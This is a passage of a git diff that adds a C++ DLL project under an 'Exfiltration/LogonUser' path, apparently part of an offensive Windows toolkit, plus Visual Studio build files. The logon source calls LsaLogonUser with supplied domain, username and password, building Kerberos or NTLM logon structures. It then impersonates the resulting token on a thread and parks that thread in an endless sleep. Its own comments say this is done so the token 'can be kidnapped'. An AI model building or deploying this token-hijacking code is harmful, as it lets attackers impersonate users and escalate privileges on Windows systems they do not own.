+ success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
+ if (!success)
+ {
+ string errorMsg = "Call to GetTokenInformation failed.";
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+ //Misc out parameters
+ PVOID profileBuffer = NULL;
+ ULONG profileBufferSize = 0;
+ LUID loginId;
+ HANDLE token = NULL;
+ QUOTA_LIMITS quotaLimits;
+ NTSTATUS subStatus = 0;
+
+ //Log on the user
+ status = LsaLogonUser(hLSA,
+ &originName,
+ static_cast<SECURITY_LOGON_TYPE>(logonType),
+ authPackage,
+ authBuffer,
+ authBufferSize,
+ 0,
+ &tokenSource,
+ &profileBuffer,
+ &profileBufferSize,
+ &loginId,
+ &token,
+ &quotaLimits,
+ &subStatus);
+
+ if (status != 0)
+ {
+ NTSTATUS winError = LsaNtStatusToWinError(status);
+ string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError);
+ WriteErrorToPipe(errorMsg, pipe);
+ return;
+ }
+
+
+ //Impersonate the token with the current thread so it can be kidnapped
+ ImpersonateLoggedOnUser(token);
+
+ //Put the thread to sleep so it can be impersonated
+ string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread.";
+ WriteErrorToPipe(successMsg, pipe);
+ HANDLE permenantSleep = CreateMutex(NULL, false, NULL);
+ while(1)
+ {
+ Sleep(MAXDWORD);
+ }
+
+ return;
+}
+
+
+PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
+{
+ size_t wcharSize = sizeof(wchar_t);
+
+ size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
+ KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]);
+ size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON);
+
+ ntlmLogon->MessageType = KerbInteractiveLogon;
+ writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
+ writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
+ writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
+
+ *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+ return ntlmLogon;
+}
+
+
+PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
+{
+ size_t wcharSize = sizeof(wchar_t);
+
+ size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
+ MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
+ size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON);
+
+ ntlmLogon->MessageType = MsV1_0InteractiveLogon;
+ writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
+ writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
+ writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
+
+ *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+ return ntlmLogon;
+}
+
+//Returns the amount of bytes written.
+size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address)
+{
+ size_t size = lstrlenW(str) * sizeof(wchar_t);
+ uniStr->Length = (USHORT)size;
+ uniStr->MaximumLength = (USHORT)size;
+ uniStr->Buffer = (PWSTR)address;
+ memcpy(address, str, size);
+ return size;
+}
+
+void WriteErrorToPipe(string errorMsg, HANDLE pipe)
+{
+ const char* error = errorMsg.c_str();
+ DWORD bytesWritten = 0;
+ WriteFile(pipe, error, strlen(error), &bytesWritten, NULL);
+} \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj
new file mode 100644
index 0000000..7fb078b
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj
@@ -0,0 +1,176 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <ItemGroup Label="ProjectConfigurations">
+ <ProjectConfiguration Include="Debug|Win32">
+ <Configuration>Debug</Configuration>
+ <Platform>Win32</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Debug|x64">
+ <Configuration>Debug</Configuration>
+ <Platform>x64</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Release|Win32">
+ <Configuration>Release</Configuration>
+ <Platform>Win32</Platform>
+ </ProjectConfiguration>
+ <ProjectConfiguration Include="Release|x64">
+ <Configuration>Release</Configuration>
+ <Platform>x64</Platform>
+ </ProjectConfiguration>
+ </ItemGroup>
+ <PropertyGroup Label="Globals">
+ <ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid>
+ <Keyword>Win32Proj</Keyword>
+ <RootNamespace>logon</RootNamespace>
+ </PropertyGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+ <ConfigurationType>DynamicLibrary</ConfigurationType>
+ <UseDebugLibraries>true</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+ <ConfigurationType>DynamicLibrary</ConfigurationType>
+ <UseDebugLibraries>true</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+ <ConfigurationType>DynamicLibrary</ConfigurationType>
+ <UseDebugLibraries>false</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <WholeProgramOptimization>true</WholeProgramOptimization>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+ <ConfigurationType>DynamicLibrary</ConfigurationType>
+ <UseDebugLibraries>false</UseDebugLibraries>
+ <PlatformToolset>v110</PlatformToolset>
+ <WholeProgramOptimization>true</WholeProgramOptimization>
+ <CharacterSet>Unicode</CharacterSet>
+ </PropertyGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+ <ImportGroup Label="ExtensionSettings">
+ </ImportGroup>
+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+ </ImportGroup>
+ <PropertyGroup Label="UserMacros" />
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <LinkIncremental>true</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+ <LinkIncremental>true</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <LinkIncremental>false</LinkIncremental>
+ </PropertyGroup>
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+ <LinkIncremental>false</LinkIncremental>
+ </PropertyGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ <ClCompile>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <WarningLevel>Level3</WarningLevel>
+ <Optimization>Disabled</Optimization>
+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Windows</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+ <ClCompile>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <WarningLevel>Level3</WarningLevel>
+ <Optimization>Disabled</Optimization>
+ <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ </ClCompile>
+ <Link>
+ <SubSystem>Windows</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ <ClCompile>
+ <WarningLevel>Level3</WarningLevel>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <Optimization>MaxSpeed</Optimization>
+ <FunctionLevelLinking>true</FunctionLevelLinking>
+ <IntrinsicFunctions>true</IntrinsicFunctions>
+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+ </ClCompile>
+ <Link>
+ <SubSystem>Windows</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
+ <OptimizeReferences>true</OptimizeReferences>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+ <ClCompile>
+ <WarningLevel>Level3</WarningLevel>
+ <PrecompiledHeader>Use</PrecompiledHeader>
+ <Optimization>MaxSpeed</Optimization>
+ <FunctionLevelLinking>true</FunctionLevelLinking>
+ <IntrinsicFunctions>true</IntrinsicFunctions>
+ <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+ </ClCompile>
+ <Link>
+ <SubSystem>Windows</SubSystem>
+ <GenerateDebugInformation>true</GenerateDebugInformation>
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
+ <OptimizeReferences>true</OptimizeReferences>
+ <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+ </Link>
+ </ItemDefinitionGroup>
+ <ItemGroup>
+ <Text Include="ReadMe.txt" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClInclude Include="stdafx.h" />
+ <ClInclude Include="targetver.h" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClCompile Include="dllmain.cpp">
+ <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
+ <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+ </PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+ </PrecompiledHeader>
+ <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
+ <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+ </PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+ </PrecompiledHeader>
+ </ClCompile>
+ <ClCompile Include="logon.cpp" />
+ <ClCompile Include="stdafx.cpp">
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+ <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+ </ClCompile>
+ </ItemGroup>
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+ <ImportGroup Label="ExtensionTargets">
+ </ImportGroup>
+</Project> \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters
new file mode 100644
index 0000000..b63ba3c
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <ItemGroup>
+ <Filter Include="Source Files">
+ <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+ <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+ </Filter>
+ <Filter Include="Header Files">
+ <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+ <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+ </Filter>
+ <Filter Include="Resource Files">
+ <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+ <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+ </Filter>
+ </ItemGroup>
+ <ItemGroup>
+ <Text Include="ReadMe.txt" />
+ </ItemGroup>
+ <ItemGroup>
+ <ClInclude Include="stdafx.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
+ <ClInclude Include="targetver.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
+ </ItemGroup>
+ <ItemGroup>
+ <ClCompile Include="stdafx.cpp">
+ <Filter>Source Files</Filter>
+ </ClCompile>
+ <ClCompile Include="logon.cpp">
+ <Filter>Source Files</Filter>
+ </ClCompile>
+ <ClCompile Include="dllmain.cpp">
+ <Filter>Source Files</Filter>
+ </ClCompile>
+ </ItemGroup>
+</Project> \ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp
new file mode 100644
index 0000000..696fbfb
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// logon.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h
new file mode 100644
index 0000000..d8612f0
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h
@@ -0,0 +1,25 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
+// Windows Header Files:
+#include "targetver.h"
+#include <stdio.h>
+#include <tchar.h>
+#include <iostream>
+#include <string>
+#include <fstream>
+#include <ostream>
+#include <mutex>
+#include <Windows.h>
+#include <NTSecAPI.h>
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h
new file mode 100644
index 0000000..87c0086
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// Including SDKDDKVer.h defines the highest available Windows platform.
+
+// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
+
+#include <SDKDDKVer.h>